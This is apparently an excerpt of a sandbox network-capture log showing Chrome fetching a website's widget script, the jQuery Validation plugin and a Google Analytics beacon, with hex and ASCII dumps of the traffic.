2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 73 2e 75 73 65 72 5f 6d 61 72 67 69 6e 73 3d 7b 7d 2c 74 68 69 73 2e 72 6f 6f 74 3d 30 2c 74 68 69 73 2e 74 6f 70 3d 30 2c 74 68 69 73 2e 67 65 74 5f 74 6f 70 5f 6f 66 66 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 74 68 69 73 2e 67 65 74 5f 73 69 62 69 6c 69 6e 67 73 5f 6f 66 66 73 65 74 28 5f 74 68 69 73 2e 67 65 74 5f 70 72 65 76 5f 73 69 62 6c 69 6e 67 2c 5f 74 68 69 73 2e 67 65 74 5f 70 72 65 76 5f 73 69 62 6c 69 6e 67 28 5f 74 68 69 73 2e 65 6c 29 2c 5f 74 68 69 73 2e 75 73 65 72 5f 6d 61 72 67 69 6e 73 2e 6d 61 72 67 69 6e 5f 74 6f 70 29 7d 7d 72 65 74 75 72 6e 20 53 74 61 74 69 63 4f 66 66 73 65 74 73 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 75 73 65 72 5f 6d 61 72 67 69 6e 73 29 7b 76 61 Data Ascii: s.user_margins={},this.root=0,this.top=0,this.get_top_offset=function(){return _this.get_sibilings_offset(_this.get_prev_sibling,_this.get_prev_sibling(_this.el),_this.user_margins.margin_top)}}return StaticOffsets.prototype.init=function(user_margins){va
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 20 30 3d 3d 3d 67 65 74 5f 70 72 65 76 5f 73 69 62 6c 69 6e 67 26 26 28 67 65 74 5f 70 72 65 76 5f 73 69 62 6c 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 29 2c 76 6f 69 64 20 30 3d 3d 3d 67 65 74 5f 6e 65 78 74 5f 73 69 62 6c 69 6e 67 26 26 28 67 65 74 5f 6e 65 78 74 5f 73 69 62 6c 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 29 3b 76 61 72 20 5f 74 68 69 73 3d 5f 73 75 70 65 72 2e 63 61 6c 6c 28 74 68 69 73 2c 65 6c 2c 67 65 74 5f 72 6f 6f 74 5f 6f 66 66 73 65 74 2c 6e 65 65 64 5f 74 6f 5f 63 61 6c 63 5f 6f 66 66 73 65 74 2c 67 65 74 5f 70 72 65 76 5f 73 69 62 6c 69 6e 67 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 5f 74 68 69 73 2e 67 65 74 5f 6e 65 78 74 5f 73 69 62 6c 69 6e 67 Data Ascii: 0===get_prev_sibling&&(get_prev_sibling=function(){return null}),void 0===get_next_sibling&&(get_next_sibling=function(){return null});var _this=_super.call(this,el,get_root_offset,need_to_calc_offset,get_prev_sibling)\|\|this;return _this.get_next_sibling
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 74 74 6f 6d 5f 6f 66 66 73 65 74 2e 63 6c 65 61 72 28 29 7d 2c 44 79 6e 61 6d 69 63 4f 66 66 73 65 74 73 2e 70 72 6f 74 6f 74 79 70 65 2e 75 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 6f 73 69 74 69 6f 6e 3d 74 68 69 73 2e 67 65 74 5f 70 6f 73 69 74 69 6f 6e 28 29 7d 2c 44 79 6e 61 6d 69 63 4f 66 66 73 65 74 73 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 5f 6d 61 78 5f 6f 66 66 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6d 61 78 5f 74 6f 70 5f 6f 66 66 73 65 74 29 7b 74 68 69 73 2e 6d 61 78 5f 74 6f 70 5f 6f 66 66 73 65 74 3d 6d 61 78 5f 74 6f 70 5f 6f 66 66 73 65 74 2c 74 68 69 73 2e 72 65 6c 61 74 69 76 65 5f 74 6f 70 3d 74 68 69 73 2e 67 65 74 5f 72 65 6c 61 74 69 76 65 5f 74 6f 70 28 29 7d 2c 44 79 6e 61 6d 69 63 4f 66 66 73 65 74 Data Ascii: ttom_offset.clear()},DynamicOffsets.prototype.update=function(){this.position=this.get_position()},DynamicOffsets.prototype.set_max_offset=function(max_top_offset){this.max_top_offset=max_top_offset,this.relative_top=this.get_relative_top()},DynamicOffset
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 63 74 29 7b 74 68 69 73 2e 6f 66 66 73 65 74 73 2e 75 70 64 61 74 65 28 29 7d 2c 42 61 73 65 57 69 64 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 2e 75 6e 6d 6f 75 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 66 66 73 65 74 73 2e 63 6c 65 61 72 28 29 7d 2c 42 61 73 65 57 69 64 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 7d 2c 42 61 73 65 57 69 64 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 61 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 6e 75 6c 6c 3d 3d 3d 28 5f 61 3d 74 68 69 73 2e 65 6c 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 5f 61 3f 76 6f 69 64 20 30 3a 5f 61 2e Data Ascii: ct){this.offsets.update()},BaseWidget.prototype.unmount=function(){this.offsets.clear()},BaseWidget.prototype.getElement=function(){return this.el},BaseWidget.prototype.toString=function(){var _a;return"".concat(null===(_a=this.el)\|\|void 0===_a?void 0:_a.
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 77 69 64 67 65 74 22 29 3f 67 65 74 57 69 64 67 65 74 43 6f 6e 74 61 69 6e 65 72 28 65 6c 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 3a 65 6c 7d 2c 63 6f 6d 70 61 74 61 62 69 6c 74 79 5f 46 57 5f 76 35 3d 66 75 6e 63 74 69 6f 6e 28 73 65 6c 65 63 74 6f 72 73 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 73 65 6c 65 63 74 6f 72 73 26 26 28 73 65 6c 65 63 74 6f 72 73 3d 5b 5d 29 2c 73 65 6c 65 63 74 6f 72 73 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 72 65 74 75 72 6e 21 2f 5e 5b 61 2d 7a 5d 2f 69 2e 74 65 73 74 28 73 29 7d 29 29 3f 73 65 6c 65 63 74 6f 72 73 3a 73 65 6c 65 63 74 6f 72 73 2e 63 6f 6e 63 61 74 28 73 65 6c 65 63 74 6f 72 73 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f Data Ascii: lassList.contains("widget")?getWidgetContainer(el.parentElement):el},compatabilty_FW_v5=function(selectors){return void 0===selectors&&(selectors=[]),selectors.some((function(s){return!/^[a-z]/i.test(s)}))?selectors:selectors.concat(selectors.map((functio
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 66 73 65 74 73 3d 6e 65 77 20 44 79 6e 61 6d 69 63 4f 66 66 73 65 74 73 28 5f 74 68 69 73 2e 65 6c 2c 5f 74 68 69 73 2e 67 65 74 5f 72 6f 6f 74 5f 6f 66 66 73 65 74 2c 5f 74 68 69 73 2e 6e 65 65 64 5f 74 6f 5f 63 61 6c 63 5f 65 6c 5f 6f 66 66 73 65 74 2c 5f 74 68 69 73 2e 67 65 74 5f 70 72 65 76 5f 73 69 62 6c 69 6e 67 2c 5f 74 68 69 73 2e 67 65 74 5f 6e 65 78 74 5f 73 69 62 6c 69 6e 67 29 2c 5f 74 68 69 73 7d 72 65 74 75 72 6e 20 5f 5f 65 78 74 65 6e 64 73 28 50 6f 73 69 74 69 6f 6e 57 69 64 67 65 74 2c 5f 73 75 70 65 72 29 2c 50 6f 73 69 74 69 6f 6e 57 69 64 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 6f 75 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 75 73 65 72 5f 6d 61 72 67 69 6e 73 29 7b 76 61 72 20 5f 74 68 69 73 3d 74 68 69 73 3b 5f 73 75 70 65 72 2e 70 Data Ascii: fsets=new DynamicOffsets(_this.el,_this.get_root_offset,_this.need_to_calc_el_offset,_this.get_prev_sibling,_this.get_next_sibling),_this}return __extends(PositionWidget,_super),PositionWidget.prototype.mount=function(user_margins){var _this=this;_super.p
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 74 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 6f 76 65 72 72 69 64 64 65 6e 21 22 29 7d 2c 50 6f 73 69 74 69 6f 6e 57 69 64 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 74 68 69 73 2e 69 73 5f 70 69 6e 6e 65 64 26 26 74 68 69 73 2e 65 6c 26 26 28 74 68 69 73 2e 69 73 5f 70 69 6e 6e 65 64 3d 21 30 2c 74 68 69 73 2e 65 6c 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 46 69 78 65 64 57 69 64 67 65 74 5f 5f 66 69 78 65 64 5f 77 69 64 67 65 74 5f 5f 70 69 6e 6e 65 64 22 29 29 7d 2c 50 6f 73 69 74 69 6f 6e 57 69 64 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 2e 75 6e 70 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 73 5f 70 69 6e 6e 65 64 26 26 74 68 Data Ascii: t){throw new Error("Method is not overridden!")},PositionWidget.prototype.pin=function(){!this.is_pinned&&this.el&&(this.is_pinned=!0,this.el.classList.add("FixedWidget__fixed_widget__pinned"))},PositionWidget.prototype.unpin=function(){this.is_pinned&&th
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 74 68 69 73 2e 65 6c 2e 73 74 79 6c 65 5b 70 72 6f 70 5d 3d 74 68 69 73 2e 69 6e 69 74 5f 73 74 79 6c 65 5b 70 72 6f 70 5d 7d 2c 50 6f 73 69 74 69 6f 6e 57 69 64 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 73 74 6f 72 65 5f 72 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 65 6c 29 66 6f 72 28 76 61 72 20 70 72 6f 70 20 69 6e 20 74 68 69 73 2e 69 6e 69 74 5f 72 65 63 74 29 74 68 69 73 2e 65 6c 2e 73 74 79 6c 65 5b 70 72 6f 70 5d 3d 22 22 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 69 6e 69 74 5f 72 65 63 74 5b 70 72 6f 70 5d 2c 22 70 78 22 29 7d 2c 50 6f 73 69 74 69 6f 6e 57 69 64 67 65 74 7d 28 42 61 73 65 57 69 64 67 65 74 29 2c 46 69 78 65 64 57 69 64 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 5f 73 75 70 65 72 29 7b 66 75 6e 63 74 69 Data Ascii: this.el.style[prop]=this.init_style[prop]},PositionWidget.prototype.restore_rect=function(){if(this.el)for(var prop in this.init_rect)this.el.style[prop]="".concat(this.init_rect[prop],"px")},PositionWidget}(BaseWidget),FixedWidget=function(_super){functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.17	49848	172.253.62.154	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	867	OUT	POST /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-190016353-1&cid=668614997.1712870801&jid=175606831&gjid=701670373&_gid=837219450.1712870803&_u=YCDACEABBAAAACAAI~&z=1717519755 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://earnandexcel.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:45 UTC	594	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://earnandexcel.com Strict-Transport-Security: max-age=10886400; includeSubDomains; preload Date: Thu, 11 Apr 2024 21:26:45 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Last-Modified: Sun, 17 May 1998 03:00:00 GMT Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:45 UTC	2	IN	Data Raw: 31 67 Data Ascii: 1g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.17	49849	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:45 UTC	996	OUT	GET /wp-content/themes/edumall/assets/libs/validate/jquery.validate.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
2024-04-11 21:26:45 UTC	938	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:45 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e861b721760-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-5ae0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YiTPXw8imC74SVJx9p8W%2FlB2ni0Z4nYrEayeod7nm4hv3jZHE%2FCuNh082fDpV9YW84ZBg9DhZTRf2i1RvshErWeF2fGVGqTQmYTzzXRrDGzGIYJX1mjUX2bOwFyrnR1EY90%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:45 UTC	431	IN	Data Raw: 35 61 65 30 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 56 61 6c 69 64 61 74 69 6f 6e 20 50 6c 75 67 69 6e 20 2d 20 76 31 2e 31 37 2e 30 20 2d 20 37 2f 32 39 2f 32 30 31 37 0d 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 76 61 6c 69 64 61 74 69 6f 6e 2e 6f 72 67 2f 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 20 4a c3 b6 72 6e 20 5a 61 65 66 66 65 72 65 72 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 61 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 Data Ascii: 5ae0/! jQuery Validation Plugin - v1.17.0 - 7/29/2017 https://jqueryvalidation.org/ * Copyright (c) 2017 Jrn Zaefferer; Licensed MIT */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exp
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 67 20 73 65 6c 65 63 74 65 64 2c 20 63 61 6e 27 74 20 76 61 6c 69 64 61 74 65 2c 20 72 65 74 75 72 6e 69 6e 67 20 6e 6f 74 68 69 6e 67 2e 22 29 29 3b 76 61 72 20 63 3d 61 2e 64 61 74 61 28 74 68 69 73 5b 30 5d 2c 22 76 61 6c 69 64 61 74 6f 72 22 29 3b 72 65 74 75 72 6e 20 63 3f 63 3a 28 74 68 69 73 2e 61 74 74 72 28 22 6e 6f 76 61 6c 69 64 61 74 65 22 2c 22 6e 6f 76 61 6c 69 64 61 74 65 22 29 2c 63 3d 6e 65 77 20 61 2e 76 61 6c 69 64 61 74 6f 72 28 62 2c 74 68 69 73 5b 30 5d 29 2c 61 2e 64 61 74 61 28 74 68 69 73 5b 30 5d 2c 22 76 61 6c 69 64 61 74 6f 72 22 2c 63 29 2c 63 2e 73 65 74 74 69 6e 67 73 2e 6f 6e 73 75 62 6d 69 74 26 26 28 74 68 69 73 2e 6f 6e 28 22 63 6c 69 63 6b 2e 76 61 6c 69 64 61 74 65 22 2c 22 3a 73 75 62 6d 69 74 22 2c 66 75 6e 63 74 69 Data Ascii: g selected, can't validate, returning nothing."));var c=a.data(this[0],"validator");return c?c:(this.attr("novalidate","novalidate"),c=new a.validator(b,this[0]),a.data(this[0],"validator",c),c.settings.onsubmit&&(this.on("click.validate",":submit",functi
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 2c 66 3d 61 2e 76 61 6c 69 64 61 74 6f 72 2e 73 74 61 74 69 63 52 75 6c 65 73 28 6a 29 2c 62 29 7b 63 61 73 65 22 61 64 64 22 3a 61 2e 65 78 74 65 6e 64 28 66 2c 61 2e 76 61 6c 69 64 61 74 6f 72 2e 6e 6f 72 6d 61 6c 69 7a 65 52 75 6c 65 28 63 29 29 2c 64 65 6c 65 74 65 20 66 2e 6d 65 73 73 61 67 65 73 2c 65 5b 6a 2e 6e 61 6d 65 5d 3d 66 2c 63 2e 6d 65 73 73 61 67 65 73 26 26 28 64 2e 6d 65 73 73 61 67 65 73 5b 6a 2e 6e 61 6d 65 5d 3d 61 2e 65 78 74 65 6e 64 28 64 2e 6d 65 73 73 61 67 65 73 5b 6a 2e 6e 61 6d 65 5d 2c 63 2e 6d 65 73 73 61 67 65 73 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 72 65 6d 6f 76 65 22 3a 72 65 74 75 72 6e 20 63 3f 28 69 3d 7b 7d 2c 61 2e 65 61 63 68 28 63 2e 73 70 6c 69 74 28 2f 5c 73 2f 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 Data Ascii: ,f=a.validator.staticRules(j),b){case"add":a.extend(f,a.validator.normalizeRule(c)),delete f.messages,e[j.name]=f,c.messages&&(d.messages[j.name]=a.extend(d.messages[j.name],c.messages));break;case"remove":return c?(i={},a.each(c.split(/\s/),function(a,b)
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 73 3a 22 65 72 72 6f 72 22 2c 70 65 6e 64 69 6e 67 43 6c 61 73 73 3a 22 70 65 6e 64 69 6e 67 22 2c 76 61 6c 69 64 43 6c 61 73 73 3a 22 76 61 6c 69 64 22 2c 65 72 72 6f 72 45 6c 65 6d 65 6e 74 3a 22 6c 61 62 65 6c 22 2c 66 6f 63 75 73 43 6c 65 61 6e 75 70 3a 21 31 2c 66 6f 63 75 73 49 6e 76 61 6c 69 64 3a 21 30 2c 65 72 72 6f 72 43 6f 6e 74 61 69 6e 65 72 3a 61 28 5b 5d 29 2c 65 72 72 6f 72 4c 61 62 65 6c 43 6f 6e 74 61 69 6e 65 72 3a 61 28 5b 5d 29 2c 6f 6e 73 75 62 6d 69 74 3a 21 30 2c 69 67 6e 6f 72 65 3a 22 3a 68 69 64 64 65 6e 22 2c 69 67 6e 6f 72 65 54 69 74 6c 65 3a 21 31 2c 6f 6e 66 6f 63 75 73 69 6e 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6c 61 73 74 41 63 74 69 76 65 3d 61 2c 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 66 6f 63 75 73 Data Ascii: s:"error",pendingClass:"pending",validClass:"valid",errorElement:"label",focusCleanup:!1,focusInvalid:!0,errorContainer:a([]),errorLabelContainer:a([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(a){this.lastActive=a,this.settings.focus
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 64 61 74 65 20 28 49 53 4f 29 2e 22 2c 6e 75 6d 62 65 72 3a 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 6e 75 6d 62 65 72 2e 22 2c 64 69 67 69 74 73 3a 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 6f 6e 6c 79 20 64 69 67 69 74 73 2e 22 2c 65 71 75 61 6c 54 6f 3a 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 74 68 65 20 73 61 6d 65 20 76 61 6c 75 65 20 61 67 61 69 6e 2e 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 61 2e 76 61 6c 69 64 61 74 6f 72 2e 66 6f 72 6d 61 74 28 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 6e 6f 20 6d 6f 72 65 20 74 68 61 6e 20 7b 30 7d 20 63 68 61 72 61 63 74 65 72 73 2e 22 29 2c 6d 69 6e 6c 65 6e 67 74 68 3a 61 2e 76 61 6c 69 64 61 74 6f 72 2e 66 6f 72 6d 61 74 28 Data Ascii: Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits.",equalTo:"Please enter the same value again.",maxlength:a.validator.format("Please enter no more than {0} characters."),minlength:a.validator.format(
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 70 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 28 63 3d 63 2e 73 70 6c 69 74 28 2f 5c 73 2f 29 29 2c 61 2e 65 61 63 68 28 63 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 64 5b 63 5d 3d 62 7d 29 7d 29 2c 63 3d 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 72 75 6c 65 73 2c 61 2e 65 61 63 68 28 63 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 64 29 7b 63 5b 62 5d 3d 61 2e 76 61 6c 69 64 61 74 6f 72 2e 6e 6f 72 6d 61 6c 69 7a 65 52 75 6c 65 28 64 29 7d 29 2c 61 28 74 68 69 73 2e 63 75 72 72 65 6e 74 46 6f 72 6d 29 2e 6f 6e 28 22 66 6f 63 75 73 69 6e 2e 76 61 6c 69 64 61 74 65 20 66 6f 63 75 73 6f 75 74 2e 76 61 6c 69 64 61 74 65 20 6b 65 79 75 70 2e 76 61 6c 69 64 61 74 65 22 2c 22 3a 74 65 78 74 2c 20 5b 74 Data Ascii: ps,function(b,c){"string"==typeof c&&(c=c.split(/\s/)),a.each(c,function(a,c){d[c]=b})}),c=this.settings.rules,a.each(c,function(b,d){c[b]=a.validator.normalizeRule(d)}),a(this.currentForm).on("focusin.validate focusout.validate keyup.validate",":text, [t
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 69 6f 6e 28 61 2c 62 29 7b 62 3d 3d 3d 64 26 26 61 21 3d 3d 66 2e 6e 61 6d 65 26 26 28 65 3d 67 2e 76 61 6c 69 64 61 74 69 6f 6e 54 61 72 67 65 74 46 6f 72 28 67 2e 63 6c 65 61 6e 28 67 2e 66 69 6e 64 42 79 4e 61 6d 65 28 61 29 29 29 2c 65 26 26 65 2e 6e 61 6d 65 20 69 6e 20 67 2e 69 6e 76 61 6c 69 64 26 26 28 67 2e 63 75 72 72 65 6e 74 45 6c 65 6d 65 6e 74 73 2e 70 75 73 68 28 65 29 2c 68 3d 67 2e 63 68 65 63 6b 28 65 29 26 26 68 29 29 7d 29 2c 63 3d 74 68 69 73 2e 63 68 65 63 6b 28 66 29 21 3d 3d 21 31 2c 68 3d 68 26 26 63 2c 63 3f 74 68 69 73 2e 69 6e 76 61 6c 69 64 5b 66 2e 6e 61 6d 65 5d 3d 21 31 3a 74 68 69 73 2e 69 6e 76 61 6c 69 64 5b 66 2e 6e 61 6d 65 5d 3d 21 30 2c 74 68 69 73 2e 6e 75 6d 62 65 72 4f 66 49 6e 76 61 6c 69 64 73 28 29 7c 7c 28 74 Data Ascii: ion(a,b){b===d&&a!==f.name&&(e=g.validationTargetFor(g.clean(g.findByName(a))),e&&e.name in g.invalid&&(g.currentElements.push(e),h=g.check(e)&&h))}),c=this.check(f)!==!1,h=h&&c,c?this.invalid[f.name]=!1:this.invalid[f.name]=!0,this.numberOfInvalids()\|\|(t
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 26 26 6e 75 6c 6c 21 3d 3d 61 5b 62 5d 26 26 61 5b 62 5d 21 3d 3d 21 31 26 26 63 2b 2b 3b 72 65 74 75 72 6e 20 63 7d 2c 68 69 64 65 45 72 72 6f 72 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 68 69 64 65 54 68 65 73 65 28 74 68 69 73 2e 74 6f 48 69 64 65 29 7d 2c 68 69 64 65 54 68 65 73 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 6e 6f 74 28 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 73 29 2e 74 65 78 74 28 22 22 29 2c 74 68 69 73 2e 61 64 64 57 72 61 70 70 65 72 28 61 29 2e 68 69 64 65 28 29 7d 2c 76 61 6c 69 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 74 68 69 73 2e 73 69 7a 65 28 29 7d 2c 73 69 7a 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 72 72 6f 72 4c 69 73 74 2e 6c 65 6e 67 Data Ascii: &&null!==a[b]&&a[b]!==!1&&c++;return c},hideErrors:function(){this.hideThese(this.toHide)},hideThese:function(a){a.not(this.containers).text(""),this.addWrapper(a).hide()},valid:function(){return 0===this.size()},size:function(){return this.errorList.leng
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 6e 28 29 7b 74 68 69 73 2e 72 65 73 65 74 49 6e 74 65 72 6e 61 6c 73 28 29 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 45 6c 65 6d 65 6e 74 73 3d 61 28 5b 5d 29 7d 2c 70 72 65 70 61 72 65 46 6f 72 6d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 73 65 74 28 29 2c 74 68 69 73 2e 74 6f 48 69 64 65 3d 74 68 69 73 2e 65 72 72 6f 72 73 28 29 2e 61 64 64 28 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 73 29 7d 2c 70 72 65 70 61 72 65 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 72 65 73 65 74 28 29 2c 74 68 69 73 2e 74 6f 48 69 64 65 3d 74 68 69 73 2e 65 72 72 6f 72 73 46 6f 72 28 61 29 7d 2c 65 6c 65 6d 65 6e 74 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 2c 64 2c 65 3d 61 28 62 29 2c 66 3d 62 2e 74 79 Data Ascii: n(){this.resetInternals(),this.currentElements=a([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(a){this.reset(),this.toHide=this.errorsFor(a)},elementValue:function(b){var c,d,e=a(b),f=b.ty
